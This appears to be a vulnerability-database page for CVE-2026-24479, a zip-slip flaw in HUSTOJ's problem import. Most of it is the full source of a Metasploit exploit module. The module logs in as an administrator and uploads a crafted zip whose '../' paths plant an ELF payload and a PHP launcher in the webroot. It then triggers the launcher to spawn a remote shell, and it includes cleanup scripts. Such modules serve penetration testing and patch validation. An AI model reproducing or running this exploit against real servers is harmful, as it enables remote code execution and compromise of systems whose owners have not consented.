| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| CVE-2026-24479 | 27 Jan 202600:43 | – | attackerkb | |
| CVE-2026-24479 | 27 Jan 202603:47 | – | circl | |
| HUSTOJ Path Traversal Vulnerability | 27 Jan 202600:00 | – | cnnvd | |
| CVE-2026-24479 | 27 Jan 202600:43 | – | cve | |
| CVE-2026-24479 HUSTOJ has Arbitrary File Write (Zip Slip) in Problem Import Modules that leads to RCE | 27 Jan 202600:43 | – | cvelist | |
| HUSTOJ Zip-Slip v26.01.24 - RCE | 30 Apr 202600:00 | – | exploitdb | |
| EUVD-2026-4836 | 27 Jan 202600:43 | – | euvd | |
| HUSTOJ Admin users can zip-slip problem_import_qduoj.php, planting PHP files in webroot for RCE | 15 May 202619:01 | – | metasploit | |
| CVE-2026-24479 | 27 Jan 202601:16 | – | nvd | |
| CVE-2026-24479 HUSTOJ has Arbitrary File Write (Zip Slip) in Problem Import Modules that leads to RCE | 27 Jan 202600:43 | – | osv |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'digest/md5'
# Metasploit module for exploiting HUSTOJ problem import RCE (CVE-2026-24479)
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Retry
include Msf::Exploit::EXE
def initialize(info = {})
super(
update_info(
info,
'Name' => 'HUSTOJ Admin users can zip-slip problem_import_qduoj.php, planting PHP files in webroot for RCE',
'Description' => <<~DESC,
A user with administrative privileges can abuse the problem_import_qduoj.php CGI script
using a crafted zip file (zip-slip) to traverse backwards through the filesystem, then to the
webroot, where they can extract a PHP file that spawns a shell to get full RCE in the
context of the webserver.
DESC
'Author' => [
'oxagast', # exploit author
'LoTuS and friends', # chinese to english translations
'ling101w' # original discovery
],
'License' => MSF_LICENSE,
'Arch' => [ARCH_X64],
'References' => [
[
'URL', 'https://github.com/oxagast/oxasploits/blob/JoshuaJohnWard/exploits' \
'/CVE-2026-24479/hustoj_problem_import_rce.rb'
],
[
'URL', 'https://github.com/zhblue/hustoj/commit/902bd09e6d0011fe89cd84d423' \
'6899314b33101f'
],
['URL', 'https://github.com/zhblue/hustoj/security/advisories/GHSA-xmgg-2rw4-7fxj'],
['CVE', '2026-24479'],
['CWE', '22']
],
'Platform' => 'linux',
'Targets' => [['Auto', {} ]],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
},
'DisclosureDate' => '2026-01-26'
)
)
register_options(
[
OptString.new('USERNAME', [true, "The HUSTOJ administrative user's username", 'admin']),
OptString.new('PASSWORD', [true, "The HUSTOJ administrative user's password", nil]),
OptString.new('DROPFILE', [false, 'The name of the file to drop on the target (without extension)', 'RANDOM']),
OptString.new('SERVLOC', [true, 'The location HUSTOJ is being served from', '/home/judge']),
OptBool.new('FORCE', [false, 'Try to exploit even if it will probably fail', false]),
OptInt.new('TRAVERSE_LIMIT', [true, 'Number of ../ traversals to include in zip slip paths', 6]),
OptInt.new('TIME_LIMIT', [true, 'Time limit for the exploit to succeed in seconds', 60])
]
)
end
# Authenticate as admin and return session cookies
def login(user, pass)
check = send_request_cgi(
'uri' => '/include/reinfo.js',
'method' => 'GET',
'ctype' => 'application/javascript'
)
if check.nil?
fail_with(Failure::Unreachable, 'Failed to connect to the target webserver!')
else
print_good("Connected to the target webserver! #{Rex::Socket.to_authority(datastore['RHOST'], datastore['RPORT'])}")
end
# try to figure out what we are running against
unless check && check.code == 200
if check && check.code == 404
print_error('Target returned 404 for /include/reinfo.js, this is not HUSTOJ!')
else
print_error('Target responded, but check did not pass!')
end
unless datastore['FORCE']
fail_with(Failure::NotFound, 'Could not find reinfo.js. Target is not running HUSTOJ! Try FORCE.')
end
end
unless check && check.code == 200 && check.body && check.body.include?('function escapeHtml(str) {') == false
print_error('Target appears to be running HUSTOJ, but my be a patched version!')
unless datastore['FORCE']
print_error('Body check does not contain escapehtml function...')
fail_with(Failure::NotVulnerable, 'Target is running a patched version of HUSTOJ! Try FORCE.')
end
end
if check && check.code == 200 && check.body && check.body.include?('var ret=pat.exec(errmsg);') && check.body.include?('function escapeHtml(str) {') == false
print_good('Good! Target appears to be running a vulnerable version of HUSTOJ!')
else
print_error('Target does not appear to be running a vulnerable version of HUSTOJ!')
unless datastore['FORCE']
print_error('Body check does not contain pat.exec function')
fail_with(Failure::NotFound, 'Target is not HUSTOJ or is a patched version! Try FORCE.')
end
end
send_request_cgi(
'method' => 'POST',
'uri' => '/login.php',
'keep_cookies' => true,
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'user_id' => user,
'password' => Digest::MD5.hexdigest(pass)
}
)
# Check if login was successful
res = send_request_cgi(
'method' => 'GET',
'uri' => '/modifypage.php',
'keep_cookies' => true
)
# we check for userinfo.php because it doesn't exist if our login fails
unless res && res.code == 200 && res.body && res.body.include?('userinfo.php')
fail_with(Failure::NoAccess, 'Failed to authenticate! Check credentials.')
end
stars = '*' * pass.length
print_good("Logged in successfully! #{user}:#{stars}")
# Check if the account has admin privileges
res = send_request_cgi(
'method' => 'GET',
'uri' => '/admin/menu2.php',
'keep_cookies' => true
)
unless res && res.code == 200 && res.body && res.body.include?('problem_import.php')
fail_with(Failure::NoAccess, 'Authenticated but does not appear to have admin privileges!')
end
return true
end
# Upload the malicious zip payload using the admin session
def upload_payload(zip_dat, _rand_tag, dds)
zip_size_kb = (zip_dat.length / 1024.0).round(2)
print_status("Uploading the payload... #{zip_size_kb}kb")
form_data = Rex::MIME::Message.new
# it is ncessary for the MIME type to be application/octet-stream instead of application/zip
# for this to work when using Rex::MIME::Message, otherwise no POST req is ever made. Not
# entirely sure what causes this.
form_data.add_part(zip_dat, 'application/octet-stream', nil, "form-data; name=\"fps\"; filename=\"#{datastore['DROPFILE']}.zip\"")
res = send_request_cgi(
'method' => 'POST',
'uri' => '/admin/problem_import_qduoj.php',
'keep_cookies' => true,
'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
'data' => form_data.to_s
)
if res && res.code == 200
print_good("Payload uploaded! #{datastore['DROPFILE']}.zip")
print_status("This is where the zipslip happens... #{dds} (levels: #{datastore['TRAVERSE_LIMIT']})")
else
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload! Check your session and try again.')
end
end
# Trigger the uploaded PHP shell to execute the payload
def trigger_sploit(rand_tag)
print_status("Triggering the php script... #{datastore['DROPFILE']}-#{rand_tag}.php")
trig = send_request_raw(
{
'uri' => "/#{datastore['DROPFILE']}-#{rand_tag}.php",
'method' => 'GET'
}
)
if trig && trig.code == 200
sleep(2) # give it a moment to pop the session before we ret
return true
end
end
# Clean up dropped files after exploitation
def cleanup
super
# prevents the cleanup routine from running multiple times (reduses log noise)
send_request_raw(
{
'uri' => "/#{datastore['DROPFILE']}-cu.php",
'method' => 'GET'
}
)
print_status('Cleaning up the payload caller and shell files...')
end
# Main exploit logic
def exploit
# Authenticate, upload, and trigger the exploit!
if datastore['DROPFILE'] == 'RANDOM'
datastore['DROPFILE'] = Rex::Text.rand_text_alpha(3)
end
opts = {
format: 'elf'
}
shell_gend = generate_payload_exe(opts)
unless datastore['DROPFILE'].match?(/\A\w+\z/)
fail_with(Failure::BadConfig, 'DROPFILE should be alphanumeric.')
end
if shell_gend.empty?
fail_with(Failure::PayloadFailed, 'Payload generation failed! Try a different payload?')
end
print_good("Payload generated! #{datastore['PAYLOAD']}")
# Generate a random tag for file uniqueness
rand_tag = Rex::Text.rand_text_alpha(5)
print_status("Random payload tag #{rand_tag}")
# PHP script to call the ELF payload
shell_caller = "<?php http_response_code(200); fastcgi_finish_request(); chmod('/tmp/#{datastore['DROPFILE']}-#{rand_tag}', 0700); system('/tmp/#{datastore['DROPFILE']}-#{rand_tag}'); ?>"
# PHP script to clean up dropped files
cleanup_caller = "<?php unlink('/tmp/#{datastore['DROPFILE']}-#{rand_tag}'); unlink('#{datastore['SERVLOC']}/src/web/#{datastore['DROPFILE']}" \
"-#{rand_tag}.php'); unlink('#{datastore['SERVLOC']}/src/web/#{datastore['DROPFILE']}-cu.php'); ?>"
dds = '../' * datastore['TRAVERSE_LIMIT'] # Directory traversal string for zipslip
# Files to include in the malicious zip (zipslip paths for traversal)
# problem_1010 in/out files can be empty, but should be in the zip to ensure serverside import
files = [
{ data: shell_gend, fname: "#{dds}tmp/#{datastore['DROPFILE']}-#{rand_tag}" },
{ data: shell_caller, fname: "#{dds}#{datastore['SERVLOC']}/src/web/#{datastore['DROPFILE']}-#{rand_tag}.php" },
{ data: cleanup_caller, fname: "#{dds}#{datastore['SERVLOC']}/src/web/#{datastore['DROPFILE']}-cu.php" },
{ data: '{}', fname: 'problem_1010.json' },
{ data: '', fname: 'problem_1010/1.in' },
{ data: '', fname: 'problem_1010/1.out' }
]
# Create the malicious zip archive
zip_dat = Msf::Util::EXE.to_zip(files)
fail_with(Failure::PayloadFailed, 'Zip generation failed!') if zip_dat.empty?
print_good("Zip file generated! Files: #{files.length}")
unless datastore['TRAVERSE_LIMIT'] >= 2
fail_with(Failure::BadConfig, 'TRAVERSE_LIMIT should be at least 2 to ensure the zip slip can reach the root of the fs!')
end
unless datastore['USERNAME'] && datastore['PASSWORD']
fail_with(Failure::BadConfig, 'USERNAME and PASSWORD must be set to an admin account!')
end
unless login(datastore['USERNAME'], datastore['PASSWORD']) && upload_payload(zip_dat, rand_tag, dds)
fail_with(Failure::Unknown, 'Something strange happened in the login or upload!')
end
popped = retry_until_truthy(timeout: datastore['TIME_LIMIT']) do
trigger_sploit(rand_tag)
end
unless popped
fail_with(Failure::PayloadFailed, 'Failed to trigger the payload within timeout! Check your listener?')
end
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation